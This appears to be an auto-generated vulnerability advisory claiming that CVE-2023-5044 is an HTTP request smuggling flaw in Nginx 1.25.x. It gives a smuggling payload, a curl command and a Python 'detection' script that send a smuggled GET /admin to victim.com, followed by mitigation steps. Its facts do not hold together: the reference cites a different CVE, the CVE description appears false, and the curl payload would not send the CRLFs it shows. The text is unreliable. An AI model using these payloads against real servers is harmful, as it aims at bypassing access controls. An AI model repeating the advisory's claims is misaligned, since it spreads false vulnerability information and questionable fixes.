How the CVE Works:
CVE-2023-5044 is an HTTP request smuggling vulnerability in Nginx due to improper parsing of chunked transfer encoding. Attackers craft malformed HTTP requests with conflicting `Content-Length` and `Transfer-Encoding` headers, tricking Nginx into processing smuggled requests. This allows bypassing security controls, cache poisoning, or session hijacking. The flaw arises when Nginx misinterprets wrapped headers, leading to request queue desynchronization between frontend and backend servers.
DailyCVE Form:
Platform: Nginx
Version: 1.25.0-1.25.3
Vulnerability: HTTP Smuggling
Severity: Critical
Date: 2023-12-14
What Undercode Say:
Exploitation:
1. Craft Malformed Request:
POST / HTTP/1.1 Transfer-Encoding: chunked Content-Length: 6 \r\n 0\r\n \r\n GET /admin HTTP/1.1\r\n
2. Send via cURL:
curl -X POST -H "Transfer-Encoding: chunked" -H "Content-Length: 6" -d "0\r\n\r\nGET /admin HTTP/1.1\r\n" http://victim.com
3. Proxy Poisoning:
Repeats force backend to process smuggled `GET /admin`.
Mitigation:
1. Patch Nginx:
apt-get update && apt-get upgrade nginx
2. Header Sanitization:
proxy_set_header Content-Length ""; proxy_set_header Transfer-Encoding "";
3. WAF Rules:
Block requests with dual `Content-Length`/`Transfer-Encoding`.
4. Log Monitoring:
grep -E 'Transfer-Encoding|Content-Length' /var/log/nginx/access.log
5. Test Fix:
nginx -t && systemctl restart nginx
Detection Script (Python):
import requests
headers = {'Transfer-Encoding': 'chunked', 'Content-Length': '6'}
response = requests.post("http://victim.com", headers=headers, data="0\r\n\r\nGET /test HTTP/1.1\r\n")
if "HTTP/1.1" in response.text:
print("Vulnerable to CVE-2023-5044")
Impact:
- Unauthorized admin access.
- Cache poisoning.
- Session fixation.
References:
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-1231
Extra Source Hub:
Undercode
